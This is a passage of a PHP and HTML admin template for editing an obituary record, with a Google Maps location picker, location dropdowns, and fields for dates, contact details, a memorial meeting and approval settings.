$obi_longitude!="") { ?> marker.setMap(map); <?php } ?> //infowindow.open(map); google.maps.event.addListener(map, 'click', function(event) { var clickedLocation = new google.maps.LatLng(event.latLng); var marker = new google.maps.Marker({ position: event.latLng, title:"Marker position", draggable: true, map: map }); infowindow.open(map,marker); map.setCenter(event.latLng); google.maps.event.addListener(map, 'click', function(event) { marker.setMap(null); }); google.maps.event.addListener(marker, 'dragend', function(event) { var point = event.latLng; var lat = point.lat(); var lng = point.lng(); document.getElementById("frmLat").value = lat; document.getElementById("frmLon").value = lng; }); var point = event.latLng; var lat = point.lat(); var lng = point.lng(); document.getElementById("frmLat").value = lat; document.getElementById("frmLon").value = lng; }); } </script> <link href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.9/themes/base/jquery-ui.css" rel="stylesheet" type="text/css"/> <script language="javascript"> $(document).ready(function(){ $("#autosearch").autocomplete("arya_searchobituaryinstitution.php", { selectFirst: true }); }); </script> <script language="javascript"> $(document).ready(function() { $("#txtimage").change(function () { var size = 102400; var iSize = ($("#txtimage")[0].files[0].size); if (iSize > size) { alert("Please Upload Only Less-Than 100 Kb Image."); this.value=''; document.frmobituary.txtimage.focus(); } }); }); //image size validation end </script> </head> <body onLoad="initialize()"> <form action="" method="post" name="frmeventtype" id="frmeventtype" > <input type="hidden" name="typeid" id="typeid" value="" /> </form> <form method="post" action="" name="frmobituary" id="frmobituary" enctype="multipart/form-data" onSubmit="return blankobituary();"> <table width="100%" summary="" border="0" cellpadding="0" cellspacing="0"> <tr> <td align="center" height="85" colspan="6"> <h2 class="bigheader"><?php echo $lbl_editobituary; ?></h2> </td> </tr> <?php echo SuccessMessage($msg);?> <tr> <tr align="center"> <table cellpadding="0" cellspacing="0" border="0" width="100%"> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $sign." ".$lbl_name; ?> : </td> <td><input type="text" name="txtname" id="txtname" class="txtbox" value="<?php echo $txtname; ?>" /></td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"></td> <td class="redMsg" colspan="2">Preferable image width 200px and height 250px (maximum 100 KB).</td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $lbl_photo; ?> : </td> <td colspan="3"> <table cellpadding="0" cellspacing="0" border="0"> <tr> <td></td> <td><input type="file" name="txtimage" id="txtimage" value="" /><?php if($obi_photo!=""){ ?><img src="<?php echo $pathvar.$obi_photo; ?>" width="80" alt="" title="" align="center" /><?php }else{ ?><img src="images/photo_not_available.png" width="80" alt="" title="" align="center" /><?php } ?></td> </tr> </table> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" colspan="3"> <?php echo $lbl_selectcountry; ?> : </td> <td align="left"> <select name="cmbcountry" id="cmbcountry" onChange="findselectstate(this.value);findselcity(this.value);countrydisplayselected(this.value);obifindselectstate(this.value);obituaryfindselcity(this.value)" class="selbox"> <option value="0"><?php echo $lbl_selectcountry; ?></option> <?php echo GetCountry($cnt_id);?> </select> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" colspan="3"><?php echo $lbl_selectstate;?> : </td> <td align="left"> <div id="FetchAjaxDatastate"> <select name="cmbstate" id="cmbstate" class="selbox" onChange="findselcity(this.value);statedisplayselected(this.value,<?php echo $cnt_id; ?>);obituaryfindselcity(this.value)"> <option value="0"><?php echo $lbl_selectstate; ?></option> <?php echo GetState($state_id,$cnt_id); ?> </select> </div> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" colspan="3"><?php echo $lbl_selectcity;?> : </td> <td align="left"> <div id="FetchAjaxDataCity"> <select name="cmbcity" id="cmbcity" class="selbox" onChange="return displayselectedcity(this.value,<?php echo $state_id; ?>);" > <option value="0"><?php echo $lbl_selectcity; ?></option> <?php echo getCity($city_id,$state_id,$cnt_id); ?> </select> </div> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" colspan="3"><?php echo $lbl_realinst;?> : </td> <td align="left"> <input type="text" name="autosearch" id="autosearch" class="txtbox" value="<?php echo $Instname; ?>"/> <!--<select name="newcmbinst" id="newcmbinst" class="selbox"> <option value="0"><?php //echo $lbl_realinst; ?></option> <?php //echo getNewsInstitution($inst_id); ?> </select>--> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" colspan="3"><?php echo "Person Page URL";?> : </td> <td align="left"> <input type="text" name="txtpersonurl" id="txtpersonurl" class="txtbox" value="<?php echo $fetchprsnname; ?>" /> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $lbl_briefstory; ?> : </td> <td align="left" colspan="3"> <?php $longtxt1=$obi_briefstory; include_once("arya_ckeditor.php"); /*include_once("FCK/fckeditor.php"); $oFCKeditor = new FCKeditor('FckContent'); $oFCKeditor->BasePath = "FCK/" ; $oFCKeditor->Value = $obi_briefstory; $oFCKeditor->Width = 550; $oFCKeditor->Height = 300; $oFCKeditor->Create() ; */ ?> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $lbl_dateofbirth; ?> : </td> <td align="left" colspan="3"> <?php echo '<select id="birthday" name="birthday" class="brthdate">'.GetDay(date($bday)).'</select>'; echo '<select id="birthmonth" name="birthmonth" class="brthdate">'.GetMonth(date($bmonth)).'</select>'; echo '<select id="birthyear" name="birthyear" class="brthdate">'.GetBYear(date($byear)).'</select>'; ?> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $lbl_dateofdeath; ?> : </td> <td align="left" colspan="3"> <?php echo '<select id="deathday" name="deathday" class="brthdate">'.GetDay(date($dday)).'</select>'; echo '<select id="deathmonth" name="deathmonth" class="brthdate">'.GetMonth(date($dmonth)).'</select>'; echo '<select id="deathyear" name="deathyear" class="brthdate">'.GetDthYear(date($dyear)).'</select>'; ?> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr align="right"> <td width="20%" align="right"><?php echo $lbl_contactperson; ?> <?php echo $lbl_name; ?> : </td> <td align="left"><input type="text" name="txtpresinm" value="<?php echo $obi_prsnname; ?>" id="txtpresinm" class="txtbox" /> </td> <td align="right"><?php echo $lbl_mobno;?> : </td> <td align="left" width="17%"> <input type="text" name="txtpresimbl" id="txtpresimbl" value="<?php echo $obi_prsnmobno; ?>" class="txtbox" /> </td> <td align="right" width="10%"><?php echo $lbl_email;?> : </td> <td align="left"><input type="text" name="presidemail" id="presidemail" class="txtbox" value="<?php echo $obi_prsnemail; ?>"/> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $sign." ".'Select Wallpaper'; ?> : </td> <td colspan="3"> <table cellpadding="0" cellspacing="0" border="0" width="100%"> <tr> <td><a href="arya_wallpapereditobituary.php" class="iframe6" style="valign='top'">Select Wallpaper</a></td><td width="87%"><div id="wallpaperfetch"><img src="<?php echo $pathvar.$imagewall; ?>"></div></td> </tr> </table> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $lbl_RcivCndlneMsgEmail; ?> : </td> <td align="left" colspan="3"> <input type="radio" name="txtemailmsg" id="txtemailmsg" value="Yes" <?php echo $yescondmsg; ?>>Yes <input type="radio" name="txtemailmsg" id="txtemailmsg" value="No" <?php echo $nocondmsg; ?>>No </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $lbl_sharadhanjalisabha; ?> : </td> <td align="left" colspan="3"> <input type="radio" name="txtsharadhanjali" id="txtsharadhanjali" value="Yes" <?php echo $yessabha; ?> onClick="return displayshradhanjalifields(this.value);" >Yes <input type="radio" name="txtsharadhanjali" id="txtsharadhanjali" value="No" <?php echo $nosabha; ?> onClick="return displayshradhanjalifields(this.value);">No </td> </tr> <tr> <td align="center" colspan="6"> <?php if($obi_shradhanjalisabha=='Yes'){ ?> <div id="shradhanjali" style="display:inline;"> <?php }else{ ?><div id="shradhanjali" style="display:none;"><?php } ?> <table cellpadding="0" cellspacing="0" border="0" width="100%" > <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" ><?php echo $sign." ".$lbl_date; ?> : </td> <td align="left"> <?php echo '<select id="daydate" name="daydate" class="brthdate">'.GetDay(date($sday)).'</select>'; echo '<select id="monthdate" name="monthdate" class="brthdate">'.GetMonth(date($smonth)).'</select>'; echo '<select id="yeardate" name="yeardate" class="brthdate">'.GetBYear(date($syear)).'</select>'; ?> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" ><?php echo $sign." ".$lbl_time; ?> : </td> <td align="left"> <?php echo '<select id="starthour" name="starthour" >'.GetEventHour($starthour).'</select>'; echo '<select id="startminute" name="startminute" >'.GetMinute($startminute).'</select>'; ?> <select id="startampm" name="startampm"> <?php echo GetAMPM($startam); ?> </select> To <?php echo '<select id="endhour" name="endhour" >'.GetEventHour($endhour).'</select>'; echo '<select id="endminute" name="endminute" >'.GetMinute($endminute).'</select>'; ?> <select id="endampm" name="endampm"> <?php echo GetAMPM($endam); ?> </select> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" ><?php echo $sign." ".$lbl_address; ?> : </td> <td align="left"> <textarea name="address" id="address" class="txtbox" maxlength="250"><?php echo $obi_address; ?></textarea> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right"> <?php echo $sign." ".$lbl_selectcountry; ?> : </td> <td align="left"><div id="countryfetch"> <select name="obicmbcountry" id="obicmbcountry" onChange="obifindselectstate(this.value);obituaryfindselcity(this.value)" class="selbox"> <option value="0"><?php echo $lbl_selectcountry; ?></option> <?php echo GetCountry($sabhacnt_id);?> </select></div> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right"><?php echo $sign." ".$lbl_selectstate;?> : </td> <td align="left"> <div id="obituaryFetchAjaxDatastate"> <select name="obicmbstate" id="obicmbstate" class="selbox" onChange="return obituaryfindselcity(this.value);"> <option value="0"><?php echo $sign." ".$lbl_selectstate; ?></option> <?php echo GetState($sabhastate_id,$sabhacnt_id); ?> </select> </div> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" ><?php echo $sign." ".$lbl_selectcity;?> : </td> <td align="left"> <div id="obituaryFetchAjaxDataCity"> <select name="obicmbcity" id="obicmbcity" class="selbox"> <option value="0"><?php echo $lbl_selectcity; ?></option> <?php echo getCity($sabhacity_id,$sabhastate_id,$sabhacnt_id); ?> </select> </div> </td> </tr><tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" ><?php echo $sign." ".$lbl_pincode;?> : </td> <td align="left"> <input type="text" name="txtpincode" id="txtpincode" value="<?php echo $obi_pincode; ?>" class="txtbox"> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <script language="javascript" type="text/javascript"> var geocoder = new google.maps.Geocoder(); function geocode () { geocoder.geocode({ 'address': document.getElementById('search').value }, function(results, status) { if(status == google.maps.GeocoderStatus.OK) { new google.maps.Marker({ position: results[0].geometry.location, map: map, icon : 'images/marker.png', cursor : 'images/' }); map.setZoom(7); map.setCenter(results[0].geometry.location); } }); } </script> <tr> <td align="right" ><?php echo $lbl_fndlocation; ?> : </td> <td align="left"><input type="text" id="search"><input type="button" onClick="geocode();" value="Search"></td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" ><?php echo $lbl_locationmap; ?> : </td> <td align="left" ><div id="map_canvas" style="width: 650px; height: 400px"></div></td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right"><?php echo $lbl_latitude;?> : </td> <td><input type="text" name="lat" value="<?php echo $obi_latitude; ?>" id="frmLat" <?php echo $classlat; ?>/></td> </tr> <tr><td colspan="6" height="5"></td></tr> <tr> <td align="right"><?php echo $lbl_longotude;?> : </td> <td><input type="text" name="lng" value="<?php echo $obi_longitude; ?>" id="frmLon" <?php echo $classlong; ?>/></td> </tr> </table></div> </tr> </tr> <?php if($rightapprove == 'Self' || $rightapprove == 'All'){ ?> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $lbl_sequence; ?> : </td> <td><input type="text" name="txtsequence" id="txtsequence" value="<?php echo $obi_sequence; ?>" size="3" /> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $lbl_approve; ?> : </td> <td><input type="radio" name="txtapprove" id="txtapprove" value="Yes" <?php echo $yesapprove; ?>>Yes <input type="radio" name="txtapprove" id="txtapprove" value="No" <?php echo $noapprove; ?>>No </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo "Allow Homage"; ?> : </td> <td><input type="radio" name="txtallowhomege" id="txtallowhomege" value="Yes" <?php echo $yeshomeage; ?>>Yes <input type="radio" name="txtallowhomege" id="txtallowhomege" value="No" <?php echo $nohomeage; ?>>No </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $lbl_showonportalhome; ?> : </td> <td><input type="radio" name="txtshowhome" id="txtshowhome" value="Yes" <?php echo $yesshowhome; ?>>Yes <input type="radio" name="txtshowhome" id="txtshowhome" value="No" <?php echo $noshowhome; ?>>No </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="45%" colspan="3"><?php echo $lbl_showobiturayhome; ?> : </td> <td><input type="radio" name="txtobituaryhome" id="txtobituaryhome" value="Yes" <?php echo $yesobihome; ?>>Yes <input type="radio" name="txtobituaryhome" id="txtobituaryhome" value="No" <?php echo $noobihome; ?>>No </td> </tr><?php } ?> <tr><td height="5" colspan="6"></td></tr> <tr> <td colspan="3"></td> <td colspan="5" align="left"><input type="submit" name="btnaddevent" id="btnaddevent" value="<?php echo $btn_update; ?>" onclick="return blankEvent('add');"/> <input type="reset" name="btn_reset" id="btn_reset" value="<?php echo $btn_reset; ?>"/> <input type="button" name="back" id="back" value="<?php echo $btn_back; ?>" class="button" onClick="history.go(-1);" /> </td> </tr> </table> </td> </tr> </table> </form> <?php //content over // footer start include("arya_footer.php"); // footer over ?>
Close